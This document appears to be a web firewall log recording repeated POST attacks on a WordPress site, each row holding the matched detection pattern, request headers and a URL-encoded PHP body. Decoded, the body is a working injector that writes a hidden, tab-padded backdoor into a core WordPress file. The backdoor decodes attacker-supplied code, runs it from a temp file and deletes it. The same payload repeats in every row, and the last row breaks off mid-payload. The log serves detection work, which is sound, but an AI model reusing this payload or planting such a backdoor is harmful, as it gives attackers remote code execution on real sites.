["2026-05-12 21:58:07","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4119\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nyS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:58:12","141.98.11.117","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:4119\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\njm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:58:22","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Kx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4119\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvF3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nKx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:58:34","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> SI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parame